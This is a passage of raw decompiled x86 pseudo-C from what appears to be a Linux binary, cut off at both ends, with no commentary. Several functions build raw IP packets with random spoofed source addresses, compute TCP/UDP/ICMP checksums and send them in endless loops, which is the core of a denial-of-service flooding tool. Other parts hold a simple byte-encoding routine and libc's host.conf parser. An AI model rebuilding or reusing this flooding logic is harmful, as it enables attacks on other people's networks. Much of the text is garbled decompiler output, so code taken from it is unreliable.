L080555B0(300); Vfffff980 = 0; } else { (save)300; L080555B0(); } Vfffff97c = Vfffff97c - 1; L080499c2: Vfffff978 = Vfffff978 + 50; esi = esi + 1; } while(esi <= 8); } goto L080496cc; } *L0807E774 = 0; esp = ebp + -1688; return(0); } /* Procedure: 0x080499F1 - 0x080499F3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080499F1() { } /* Procedure: 0x080499F4 - 0x08049D3C * Argument size: 48 * Local size: 160 * Save regs size: 12 */ L080499F4(A8, Ac, A10, A14, A18, A1c, A20, A24, A28, A2c, A30, A34) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; /* unknown */ void A20; /* unknown */ void A24; /* unknown */ void A28; /* unknown */ void A2c; /* unknown */ void A30; /* unknown */ void A34; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffff60; /* unknown */ void Vffffff64; /* unknown */ void Vffffff68; /* unknown */ void Vffffff6c; /* unknown */ void Vffffff70; /* unknown */ void Vffffff74; /* unknown */ void Vffffff78; /* unknown */ void Vffffff7c; /* unknown */ void Vffffff80; /* unknown */ void Vffffff84; /* unknown */ void Vffffff88; /* unknown */ void Vffffff8e; /* unknown */ void Vffffff90; /* unknown */ void Vffffffb0; /* unknown */ void Vffffffd0; /* unknown */ void Vffffffd2; /* unknown */ void Vffffffd4; /* unknown */ void Vffffffd6; /* unknown */ void Vffffffd8; /* unknown */ void Vffffffd9; /* unknown */ void Vffffffda; /* unknown */ void Vffffffdc; /* unknown */ void Vffffffe0; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe5; /* unknown */ void Vffffffe6; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffea; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff2; /* unknown */ void Vfffffff4; Vffffff84 = A10; Vffffff80 = A14; Vffffff7c = A18; Vffffff78 = A1c; Vffffff74 = A20; Vffffff70 = A24; Vffffff6c = A28; Vfffffff0 = 2; L08055E38(); ecx = 255; asm("cdq"); eax = ecx / ecx % ecx / ecx; asm("xchg al,ah"); Vfffffff2 = ax; esi = & Vffffff90; L0804F808(esi, "%d.%d.%d.%d", Vffffff74 & 255, Vffffff70 & 255, Vffffff6c & 255, A2c & 255); if(A30 == 0) { ebx = & Vffffffb0; L0804F808(); Vfffffff4 = L0804CE8C(ebx, ebx, "%d.%d.%d.%d", Vffffff84 & 255, Vffffff80 & 255, Vffffff7c & 255, Vffffff78 & 255); } eax = L08056CF4(2, 3, 255); Vffffff68 = eax; if(Vffffff68 > 0) { Vffffffd0 = 69; Vffffffd2 = 7208; Vffffffd4 = 21764; L08055E38(); ecx = 130; asm("cdq"); Vffffffd8 = ecx / ecx % ecx / ecx + 120; Vffffffdc = L0804CE8C(esi); if(A30 == 0) { Vffffffe0 = L0804CE8C( & Vffffffb0); } Vffffffd6 = 65055; Vffffffda = 0; if(A8 != 0) { Vffffffd9 = 17; L08055E38(); ecx = 255; asm("cdq"); eax = ecx / ecx % ecx / ecx; asm("xchg al,ah"); Vffffffe4 = ax; ax = Ac; asm("xchg al,ah"); Vffffffe6 = ax; Vffffffe8 = 2304; edx = 9; esi = & Vffffffe4; ebx = 0; Vffffff8e = 0; do { ebx = ebx + ( *esi & 65535); esi = esi + 2; edx = edx + -2; } while(edx > 1); != ? 0x8049b89 : ; Vffffff8e = *esi; ebx = ebx + (Vffffff8e & 65535); edx = ebx >> 16; ebx = (bx & 65535) + edx; ebx = ebx + (ebx >> 16); ax = !ebx; Vffffff8e = ax; Vffffffea = Vffffff8e; Vffffffec = 97; } else { Vffffffd9 = 1; Vffffffe4 = 8; Vffffffe5 = 0; Vffffffe6 = 0; edx = 9; esi = & Vffffffe4; ebx = 0; Vffffff8e = 0; do { ebx = ebx + ( *esi & 65535); esi = esi + 2; edx = edx + -2; } while(edx > 1); != ? 0x8049bf1 : ; Vffffff8e = *esi; ebx = ebx + (Vffffff8e & 65535); edx = ebx >> 16; ebx = (bx & 65535) + edx; ebx = ebx + (ebx >> 16); ax = !ebx; Vffffff8e = ax; Vffffffe6 = Vffffff8e; } Vffffff64 = 29; edx = 20; esi = & Vffffffd0; ebx = 0; Vffffff8e = 0; do { ebx = ebx + ( *esi & 65535); esi = esi + 2; edx = edx + -2; } while(edx > 1); != ? 0x8049c49 : ; Vffffff8e = *esi; ebx = ebx + (Vffffff8e & 65535); edx = ebx >> 16; Vffffff8e = !(ebx + ((bx & 65535) + edx >> 16)); Vffffffda = Vffffff8e; ebx = 0; Vffffff60 = & Vfffffff0; for(edi = & Vffffffd0; 1; ebx = ebx - 1) { esi = 0; if(A30 != 0 && ebx <= 0) { edx = L0804BF80(A34); if(edx != 0) { L08049cac: L08056480( *( *(edx + 16)), & Vffffff88, 4); eax = Vffffff88; Vffffffe0 = eax; Vfffffff4 = Vffffffe0; ebx = 40000; } else { L080556CC(600); esi = 1; } } if(esi == 0) { L08056C3C(); L08056C3C(Vffffff68, edi, Vffffff64, 0, Vffffff60, 16, Vffffff68, edi, Vffffff64, 0, Vffffff60, 16); L080555B0(20); } } goto L08049cac; } *L0807E774 = 0; esp = ebp + -172; return(0); } /* Procedure: 0x08049D3D - 0x08049D3F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08049D3D() { } /* Procedure: 0x08049D40 - 0x0804A190 * Argument size: 56 * Local size: 204 * Save regs size: 12 */ L08049D40(A8, Ac, A10, A14, A18, A1c, A20, A24, A28, A2c, A30, A34, A38, A3c) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; /* unknown */ void A20; /* unknown */ void A24; /* unknown */ void A28; /* unknown */ void A2c; /* unknown */ void A30; /* unknown */ void A34; /* unknown */ void A38; /* unknown */ void A3c; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffff34; /* unknown */ void Vffffff38; /* unknown */ void Vffffff3c; /* unknown */ void Vffffff40; /* unknown */ void Vffffff44; /* unknown */ void Vffffff48; /* unknown */ void Vffffff4c; /* unknown */ void Vffffff50; /* unknown */ void Vffffff54; /* unknown */ void Vffffff58; /* unknown */ void Vffffff5c; /* unknown */ void Vffffff62; /* unknown */ void Vffffff64; /* unknown */ void Vffffff68; /* unknown */ void Vffffff88; /* unknown */ void Vffffffa8; /* unknown */ void Vffffffac; /* unknown */ void Vffffffb0; /* unknown */ void Vffffffb1; /* unknown */ void Vffffffb2; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffc8; /* unknown */ void Vffffffc9; /* unknown */ void Vffffffca; /* unknown */ void Vffffffcc; /* unknown */ void Vffffffce; /* unknown */ void Vffffffd0; /* unknown */ void Vffffffd1; /* unknown */ void Vffffffd2; /* unknown */ void Vffffffd4; /* unknown */ void Vffffffd8; /* unknown */ void Vffffffdc; /* unknown */ void Vffffffde; /* unknown */ void Vffffffe0; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffe9; /* unknown */ void Vffffffea; /* unknown */ void Vffffffec; /* unknown */ void Vffffffee; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff2; /* unknown */ void Vfffffff4; Vffffff5c = A8; Vffffff58 = Ac; Vffffff54 = A10; Vffffff38 = A14; Vffffff50 = A24; Vffffff4c = A28; Vffffff48 = A2c; Vffffff44 = A30; if(A34 != 0) { A34 = A34 - 1; } L080559A0(L08057444(0)); Vfffffff0 = 2; L08055E38(); ebx = 255; asm("cdq"); eax = ebx / ebx % ebx / ebx; asm("xchg al,ah"); Vfffffff2 = ax; if(A38 == 0) { ebx = & Vffffff88; L0804F808(); Vfffffff4 = L0804CE8C(ebx, ebx, "%d.%d.%d.%d", Vffffff5c & 255, Vffffff58 & 255, Vffffff54 & 255, Vffffff38 & 255); } Vffffffc8 = 69; Vffffffca = 10240; Vffffffc9 = 0; eax = L08056CF4(2, 3, 255); Vffffff40 = eax; if(Vffffff40 > 0) { if(A20 != 0) { L0804F808( & Vffffff68, "%d.%d.%d.%d", Vffffff50 & 255, Vffffff4c & 255, Vffffff48 & 255, Vffffff44 & 255); } if(A38 == 0) { Vffffffd8 = L0804CE8C( & Vffffff88); } Vffffffce = 0; Vffffffd1 = 6; Vffffffe9 = Vffffffe9 & 239; al = Vffffffe8 & 15 | 80; Vffffffe8 = al; Vffffffe4 = 0; Vffffffe8 = Vffffffe8 & 80; Vffffffe9 = 2; Vffffffee = 0; ax = (A18 << 8) + A1c; asm("xchg al,ah"); Vffffffde = ax; edi = 0; Vffffffb0 = 0; if(A38 == 0) { Vffffffac = Vffffffd8; } Vffffffb1 = 6; Vffffffb2 = 5120; esi = 0; for(Vffffff3c = & Vffffffa8; 1; esi = esi - 1) { Vffffff34 = 0; if(A38 != 0 && esi <= 0) { edx = L0804BF80(A3c); if(edx != 0) { L08049f30: L08056480( *( *(edx + 16)), & Vffffff64, 4); eax = Vffffff64; Vffffffd8 = eax; Vfffffff4 = eax; Vffffffac = Vfffffff4; esi = 40000; } else { L080556CC(600); Vffffff34 = 1; } } if(Vffffff34 != 0) { continue; } L08056058(); ebx = 3089; asm("cdq"); ah = ebx / ebx % ebx / ebx + 2; asm("xchg al,ah"); Vffffffcc = ax; L08056058(); ebx = 1401; asm("cdq"); ax = ebx / ebx % ebx / ebx + 200; asm("xchg al,ah"); Vffffffea = ax; L08056058(); ebx = 40000; asm("cdq"); ax = ebx / ebx % ebx / ebx + 1; asm("xchg al,ah"); Vffffffdc = ax; L08056058(); ebx = 40000000; asm("cdq"); eax = ebx / ebx % ebx / ebx + 1; asm("xchg al,ah"); asm("ror eax,0x10"); asm("xchg al,ah"); Vffffffe0 = eax; L08056058(); ebx = 116; asm("cdq"); Vffffffd0 = ebx / ebx % ebx / ebx + 125; if(A20 == 0) { L08055E38(); ebx = 255; asm("cdq"); ebx = ebx / ebx; (save)ebx % ebx; L08055E38(); asm("cdq"); ebx = ebx / ebx; (save)ebx % ebx; L08055E38(); asm("cdq"); ebx = ebx / ebx; (save)ebx % ebx; L08055E38(); asm("cdq"); (save)ebx / ebx % ebx / ebx; (save)"%u.%u.%u.%u"; (save) & Vffffff68; L0804F808(); esp = esp + 24; } (save) & Vffffff68; eax = L0804CE8C(); Vffffffd4 = eax; Vffffffa8 = Vffffffd4; Vffffffec = 0; Vffffffd2 = 0; (save)20; (save) & Vffffffb4; (save) & Vffffffdc; L08056480(); esp = esp + 16; edx = 32; Vffffff34 = Vffffff3c; ecx = 0; Vffffff62 = 0; do { ebx = Vffffff34; ecx = ecx + ( *ebx & 65535); ebx = ebx + 2; Vffffff34 = ebx; edx = edx + -2; } while(edx > 1); != ? 0x804a097 : ; Vffffff62 = *ebx; ecx = ecx + (Vffffff62 & 65535); edx = ecx >> 16; Vffffff62 = !(ecx + ((cx & 65535) + edx >> 16)); Vffffffec = Vffffff62; edx = 20; Vffffff34 = & Vffffffc8; ecx = 0; Vffffff62 = 0; do { ebx = Vffffff34; ecx = ecx + ( *ebx & 65535); ebx = ebx + 2; Vffffff34 = ebx; edx = edx + -2; } while(edx > 1); != ? 0x804a103 : ; Vffffff62 = *ebx; ecx = ecx + (Vffffff62 & 65535); edx = ecx >> 16; ecx = (cx & 65535) + edx; ax = !(ecx + (ecx >> 16)); Vffffff62 = ax; Vffffffd2 = Vffffff62; L08056C3C(Vffffff40, & Vffffffc8, 40, 0, & Vfffffff0, 16); if(A34 != 0) { if(A34 != edi) { edi = edi + 1; continue; } L080555B0(300); edi = 0; } else { (save)300; L080555B0(); } } goto L08049f30; } *L0807E774 = 0; esp = ebp + -216; return(0); } /* Procedure: 0x0804A191 - 0x0804A193 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804A191() { } /* Procedure: 0x0804A194 - 0x0804A1E6 * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L0804A194(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { *A10 = *L080675E5; eax = L0804F808(A10, "%c", *Ac + 23); ecx = 1; if(1 != A8) { do { edx = *(A10 + ecx - 1) & 255; eax = edx + ( *(ecx + Ac) & 255) + 23; *(ecx + A10) = al; ecx = ecx + 1; } while(ecx != A8); } } /* Procedure: 0x0804A1E7 - 0x0804A1E7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804A1E7() { } /* Procedure: 0x0804A1E8 - 0x0804A2A4 * Argument size: 12 * Local size: 4 * Save regs size: 12 */ L0804A1E8(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vfffffffc; ebx = A8 - 1; al = A8 + 3 & 252; esp = esp - eax; Vfffffffc = esp; *A10 = *L080675E5; if(ebx >= 0) { do { edx = ebx - 1; if(ebx == 0) { eax = *Ac & 255; } else { esi = Ac; eax = *(ebx + esi) & 255; eax = eax - ( *(edx + esi) & 255); } ecx = eax - 23; if(ecx < 0) { do { } while(ecx = ecx + 256); } edx = 0; if(0 < A8) { do { al = *(edx + A10); *(edx + Vfffffffc) = al; edx = edx + 1; } while(edx < A8); } *A10 = cl; edx = 1; if(1 < A8) { do { al = *(edx + Vfffffffc - 1); *(edx + A10) = al; edx = edx + 1; } while(edx < A8); } eax = L0804F808(A10, "%c%s", ecx, Vfffffffc); } while(ebx = ebx - 1); } esp = ebp - 16; } /* Procedure: 0x0804A2A5 - 0x0804A2A7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804A2A5() { } /* Procedure: 0x0804A2A8 - 0x0804A48B * Argument size: 12 * Local size: 24 * Save regs size: 12 */ L0804A2A8(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; edi = A8; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); Vfffffff8 = !ecx - 1; edi = Ac; asm("cld"); ecx = -1; asm("repne scasb"); Vfffffff4 = !ecx - 1; Vfffffff0 = 0; Vfffffffc = 0; ebx = *L0806D228; if(*ebx != 0) { do { esi = *ebx; edi = A8; ecx = Vfffffff8; asm("cld"); asm("repe cmpsb"); != ? 0x804a30e : ; esi = *ebx; if(*(Vfffffff8 + esi) == 61) { break; } Vfffffffc = Vfffffffc + 1; ebx = ebx + 4; } while(*ebx != 0); if(*ebx != 0) { goto L0804a408; } } ebx = L0805BD74(Vfffffffc * 4 + 8); if(ebx != 0) { L0805652C(ebx, *L0806D228, Vfffffffc * 4); edx = L0805BD74(Vfffffff8 + Vfffffff4 + 2); *(ebx + Vfffffffc * 4) = edx; if(*(ebx + Vfffffffc * 4) != 0) { goto L0804a390; } (save)ebx; L0805C290(); *L08078B14 = 12; } L0804a384: Vfffffff0 = -1; goto L0804a47f; L0804a390: Vffffffec = *(ebx + Vfffffffc * 4); L0805652C(Vffffffec, A8, Vfffffff8); eax = *(ebx + Vfffffffc * 4); esi = Vfffffff8; *(esi + eax) = 61; Vffffffec = esi + *(ebx + Vfffffffc * 4) + 1; L0805652C(Vffffffec, Ac, Vfffffff4 + 1); *(ebx + Vfffffffc * 4 + 4) = 0; if(*L080784F4 != 0) { (save) *L080784F4; L0805C290(); } *L080784F4 = ebx; *L0806D228 = ebx; goto L0804a47f; L0804a408: if(A10 != 0) { edi = *ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); Vffffffec = !ecx - 1; edx = Vfffffff8 + Vfffffff4 + 1; if(Vffffffec < edx) { edx = L0805BD74(edx + 1); if(edx == 0) { goto L0804a384; } *ebx = edx; } Vffffffec = *ebx; L0805652C(Vffffffec, A8, Vfffffff8); eax = *ebx; esi = Vfffffff8; *(esi + eax) = 61; esi = esi + *ebx + 1; L0805652C(esi, Ac, Vfffffff4 + 1); } L0804a47f: esp = ebp - 36; return(Vfffffff0); } /* Procedure: 0x0804A48C - 0x0804A4F0 * Argument size: 4 * Local size: 4 * Save regs size: 12 */ L0804A48C(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffffc; al = 0; edi = A8; asm("cld"); ecx = -1; asm("repne scasb"); eax = !ecx - 1; Vfffffffc = eax; ebx = *L0806D228; edx = ebx; if(*ebx != 0) { do { esi = *edx; edi = A8; ecx = Vfffffffc; asm("cld"); asm("repe cmpsb"); != ? 0x804a4d2 : ; eax = *edx; if(*(Vfffffffc + eax) != 61) { eax = *edx; *ebx = eax; ebx = ebx + 4; } edx = edx + 4; } while(*edx != 0); } *ebx = 0; esp = ebp - 16; } /* Procedure: 0x0804A4F1 - 0x0804A4F3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804A4F1() { } /* Procedure: 0x0804A4F4 - 0x0804A57D * Argument size: 4 * Local size: 8 * Save regs size: 12 */ L0804A4F4(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff8; esi = 0; if(*L08078520 > 0) { do { eax = *(esi * 4 + 0x807a348); Vfffffff8 = eax; edi = Vfffffff8; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); ebx = !ecx - 1; edi = A8; asm("cld"); ecx = -1; asm("repne scasb"); ecx = !ecx - 1; if(ecx > ebx) { eax = L080565F8(ecx + A8 - ebx, Vfffffff8); if(eax == 0) { edi = A8; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); edx = !ecx - 1 - ebx; eax = A8; *(edx + eax) = 0; } } esi = esi + 1; } while(*L08078520 > esi); } esp = ebp - 20; } /* Procedure: 0x0804A57E - 0x0804A57F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804A57E() { } /* Procedure: 0x0804A580 - 0x0804A5C8 * Argument size: 4 * Local size: 0 * Save regs size: 8 */ L0804A580(A8) /* unknown */ void A8; { /* unknown */ void ebx; if(*L08078520 != 0) { L0804A4F4( *A8); ebx = 0; eax = *(A8 + 4); if(*eax != 0) { do { L0804A4F4( *(eax + ebx * 4)); ebx = ebx + 1; eax = *(A8 + 4); } while(*(eax + ebx * 4) != 0); } } return(A8); } /* Procedure: 0x0804A5C9 - 0x0804A5CB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804A5C9() { } /* Procedure: 0x0804A5CC - 0x0804A9D5 * Argument size: 4 * Local size: 360 * Save regs size: 12 */ L0804A5CC(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vfffffe98; /* unknown */ void Vfffffe9c; /* unknown */ void Vfffffea0; /* unknown */ void Vfffffea4; /* unknown */ void Vfffffea8; /* unknown */ void Vfffffeac; /* unknown */ void Vfffffeb0; /* unknown */ void Vfffffeb4; /* unknown */ void Vfffffeb8; /* unknown */ void Vfffffebc; /* unknown */ void Vfffffec0; if(*L08078524 != 0 && A8 != 0) { if(*L08078524 == -1) { eax = L08056CF4(2, 1, 0); Vfffffeb0 = eax; if(eax == -1) { goto L0804a9c9; } Vfffffeb8 = 320; Vfffffebc = & Vfffffec0; eax = L08057280(Vfffffeb0, 35090, & Vfffffeb8); if(eax == -1) { goto L0804a9c9; } Vfffffeac = Vfffffeb8 >> 5; *L080793B0 = 0x80792c0; A8 = Vfffffebc; Vfffffe98 = A8; if(Vfffffeac != 0) { ebx = A8 + 20; eax = Vfffffeac & 1; if(Vfffffeac > 0 && eax == 0) { goto L0804a747; } A8 = Vfffffe98; L08056640(); if(L08057280(Vfffffeb0, 35099, A8, *L080793B0, A8) != -1 && *(ebx - 4) == 2) { esi = *ebx; if(L08057280(Vfffffeb0, 35093, Vfffffe98) != -1 && *(ebx - 4) == 2 && !(edx = *ebx & esi)) { eax = *L080793B0; *(eax + 16) = edx; *(eax + 20) = esi; if(*L08078524 == -1) { *L08078524 = 0; } *L080793B0 = *L080793B0 + 24; *L08078524 = *L08078524 + 1; } } ebx = ebx + 32; Vfffffe98 = Vfffffe98 + 32; if(!(Vfffffeac = Vfffffeac - 1)) { L0804a747: Vfffffea8 = ebx; Vfffffea4 = ebx - 4; Vfffffea0 = ebx; Vfffffe9c = Vfffffea4; do { A8 = Vfffffe98; L08056640(); if(L08057280(Vfffffeb0, 35099, A8, *L080793B0, A8) != -1 && *Vfffffe9c == 2) { ebx = *Vfffffea0; if(L08057280(Vfffffeb0, 35093, Vfffffe98) != -1 && *Vfffffea4 == 2 && !(edx = *Vfffffea8 & ebx)) { eax = *L080793B0; *(eax + 16) = edx; *(eax + 20) = ebx; if(*L08078524 == -1) { *L08078524 = 0; } *L080793B0 = *L080793B0 + 24; *L08078524 = *L08078524 + 1; } } ebx = Vfffffe98 + 32; L08056640(); if(L08057280(Vfffffeb0, 35099, ebx, *L080793B0, ebx) != -1 && *(Vfffffe9c + 32) == 2) { esi = *(Vfffffea0 + 32); if(L08057280(Vfffffeb0, 35093, ebx) != -1 && *(Vfffffea4 + 32) == 2 && !(edx = *(Vfffffea8 + 32) & esi)) { eax = *L080793B0; *(eax + 16) = edx; *(eax + 20) = esi; if(*L08078524 == -1) { *L08078524 = 0; } *L080793B0 = *L080793B0 + 24; *L08078524 = *L08078524 + 1; } } Vfffffea8 = Vfffffea8 + 64; Vfffffea4 = Vfffffea4 + 64; Vfffffea0 = Vfffffea0 + 64; Vfffffe9c = Vfffffe9c + 64; Vfffffe98 = Vfffffe98 + 64; } while(Vfffffeac = Vfffffeac + -2); } } eax = L08057160(Vfffffeb0); if(*L08078524 == 0) { goto L0804a9c9; } } ebx = *(A8 + 16); if(ebx != 0) { esi = & Vfffffeb4; do { if(*ebx == 0) { break; } *L080793B0 = 0x80792c0; ecx = *L08078524; if(ecx != 0) { eax = ecx & 1; if(ecx > 0 && eax == 0) { goto L0804a958; } eax = *ebx; edx = *L080793B0; eax = *eax & *(edx + 20); if(*(edx + 16) == eax) { goto L0804a983; } *L080793B0 = *L080793B0 + 24; if(!(ecx = ecx - 1)) { L0804a958: do { eax = *ebx; edx = *L080793B0; if(*(edx + 16) == ( *eax & *(edx + 20))) { goto L0804a983; } *L080793B0 = *L080793B0 + 24; eax = *ebx; edx = *L080793B0; eax = *eax & *(edx + 20); if(*(edx + 16) == eax) { goto L0804a983; } *L080793B0 = *L080793B0 + 24; } while(ecx = ecx + -2); } } } while(ebx = ebx + 4); goto L0804a9c9; L0804a983: L08056480(); L08056480(); eax = L08056480(esi, *ebx, 4, *ebx, *( *(A8 + 16)), 4, *( *(A8 + 16)), esi, 4); } } L0804a9c9: esp = ebp + -372; } /* Procedure: 0x0804A9D6 - 0x0804A9D7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804A9D6() { } /* Procedure: 0x0804A9D8 - 0x0804B7FD * Argument size: 0 * Local size: 1044 * Save regs size: 12 */ L0804A9D8() { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffbec; /* unknown */ void Vfffffbf0; /* unknown */ void Vfffffbf4; /* unknown */ void Vfffffbf8; /* unknown */ void Vfffffbfc; /* unknown */ void Vfffffc00; /* unknown */ void Vfffffc04; /* unknown */ void Vfffffc05; /* unknown */ void Vfffffc07; esi = 0; Vfffffbf8 = 0x807a358; L0805E954(); eax = L08055668("RESOLV_HOST_CONF"); Vfffffbf4 = eax; if(Vfffffbf4 == 0) { Vfffffbf4 = "/etc/host.conf"; } eax = L0804F620(Vfffffbf4, "r"); Vfffffbfc = eax; if(Vfffffbfc == 0) { *L08079DD4 = 1; *L08079DD8 = 0; } else { Vfffffbf0 = & Vfffffc00; L0804aa5c: while(1) { if(L0804F5C4(Vfffffbf0, 1024, Vfffffbfc) == 0) { goto L0804b41c; } ebx = L08057BE8(Vfffffbf0, 10); if(ebx != 0) { *ebx = 0; } if(Vfffffc00 == 35) { continue; } ebx = & Vfffffc00; if(Vfffffc00 != 0) { edx = *L08078FA0; do { if(*(edx + ( *ebx & 255) * 2 + 1) & 32) { break; } if(ebx = ebx + 1) { goto L0804aa5c; } } while(*ebx != 0); } if(ebx == 0 || *ebx == 0) { continue; } edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); edx = !ecx; Vfffffbec = edx; L08056570(); if(L080566BC(Vfffffbf0, "order", 5, Vfffffbf0, ebx, Vfffffbec) != 0 || Vfffffc05 != 0 && *( *L08078FA0 + (Vfffffc05 & 255) * 2 + 1) & 32) { if(L080566BC(Vfffffbf0, "multi", 5) != 0 || Vfffffc05 != 0 && *( *L08078FA0 + (Vfffffc05 & 255) * 2 + 1) & 32) { if(L080566BC(Vfffffbf0, "nospoof", 7) != 0 || Vfffffc07 != 0 && *( *L08078FA0 + (Vfffffc07 & 255) * 2 + 1) & 32) { if(L080566BC(Vfffffbf0, "alert", 5) != 0 || Vfffffc05 != 0 && *( *L08078FA0 + (Vfffffc05 & 255) * 2 + 1) & 32) { if(L080566BC(Vfffffbf0, "reorder", 7) != 0 || Vfffffc07 != 0 && *( *L08078FA0 + (Vfffffc07 & 255) * 2 + 1) & 32) { if(L080566BC(Vfffffbf0, "trim", 4) != 0 || Vfffffc04 != 0 && *( *L08078FA0 + (Vfffffc04 & 255) * 2 + 1) & 32) { ebx = L08057B30(Vfffffbf0, " \t"); if(ebx != 0) { *ebx = 0; } (save)Vfffffbf0; (save)L0805E584( *L08078F9C, 11, 13, "resolv+: \"%s\" is an invalid keyword\n"); (save)0x80787a4; L0804F680(); esp = esp + 12; continue; } if(*L08078520 > 3) { continue; } ebx = L08057B30(Vfffffbf0, " \t"); if(ebx != 0) { while(*ebx == 32 || *ebx == 9) { ebx = ebx + 1; } if(*ebx != 0) { goto L0804b34c; } } (save)"trim"; goto L0804b395; L0804b34c: L08056640(Vfffffbf8, ebx); *( *L08078520 * 4 + 0x807a348) = Vfffffbf8; *L08078520 = *L08078520 + 1; edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); edx = !ecx; Vfffffbec = edx; Vfffffbf8 = Vfffffbf8 + Vfffffbec; continue; } ebx = L08057B30(Vfffffbf0, " \t"); if(ebx != 0) { if(*ebx != 0) { edx = *L08078FA0; do { if(*(edx + ( *ebx & 255) * 2 + 1) & 32) { break; } if(ebx = ebx + 1) { goto L0804b2bc; } } while(*ebx != 0); } if(ebx != 0 && *ebx != 0) { goto L0804b1c3; } } L0804b2bc: (save)"reorder"; goto L0804b395; L0804b1c3: edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(ecx == -4 && L080566BC(ebx, "on", 2) == 0) { if(*(ebx + 2) == 0) { goto L0804b1fe; } edx = *(ebx + 2) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804b1fe; } } edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(ecx == -5 && L080566BC(ebx, "off", 3) == 0) { if(*(ebx + 3) == 0) { goto L0804b24b; } edx = *(ebx + 3) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804b24b; } } (save)"reorder"; goto L0804b261; L0804b24b: *L0807851C = 0; continue; L0804b1fe: *L0807851C = 1; continue; } ebx = L08057B30(Vfffffbf0, " \t"); if(ebx != 0) { if(*ebx != 0) { edx = *L08078FA0; do { if(*(edx + ( *ebx & 255) * 2 + 1) & 32) { break; } if(ebx = ebx + 1) { goto L0804b124; } } while(*ebx != 0); } if(ebx != 0 && *ebx != 0) { goto L0804b07f; } } L0804b124: (save)"alert"; goto L0804b395; L0804b07f: edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(ecx == -4 && L080566BC(ebx, "on", 2) == 0) { if(*(ebx + 2) == 0) { goto L0804b0ba; } edx = *(ebx + 2) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804b0ba; } } edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(ecx == -5 && L080566BC(ebx, "off", 3) == 0) { if(*(ebx + 3) == 0) { goto L0804b107; } edx = *(ebx + 3) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804b107; } } (save)"alert"; goto L0804b261; L0804b107: *L08078518 = 0; continue; L0804b0ba: *L08078518 = 1; continue; } ebx = L08057B30(Vfffffbf0, " \t"); if(ebx != 0) { if(*ebx != 0) { edx = *L08078FA0; do { if(*(edx + ( *ebx & 255) * 2 + 1) & 32) { break; } if(ebx = ebx + 1) { goto L0804afe0; } } while(*ebx != 0); } if(ebx != 0 && *ebx != 0) { goto L0804af3b; } } L0804afe0: (save)"nospoof"; goto L0804b395; L0804af3b: edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(ecx == -4 && L080566BC(ebx, "on", 2) == 0) { if(*(ebx + 2) == 0) { goto L0804af76; } edx = *(ebx + 2) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804af76; } } edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(ecx == -5 && L080566BC(ebx, "off", 3) == 0) { if(*(ebx + 3) == 0) { goto L0804afc3; } edx = *(ebx + 3) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804afc3; } } (save)"nospoof"; goto L0804b261; L0804afc3: *L08078514 = 0; continue; L0804af76: *L08078514 = 1; continue; } ebx = L08057B30(Vfffffbf0, " \t"); if(ebx != 0) { if(*ebx != 0) { edx = *L08078FA0; do { if(*(edx + ( *ebx & 255) * 2 + 1) & 32) { break; } if(ebx = ebx + 1) { goto L0804ae9c; } } while(*ebx != 0); } if(ebx != 0 && *ebx != 0) { goto 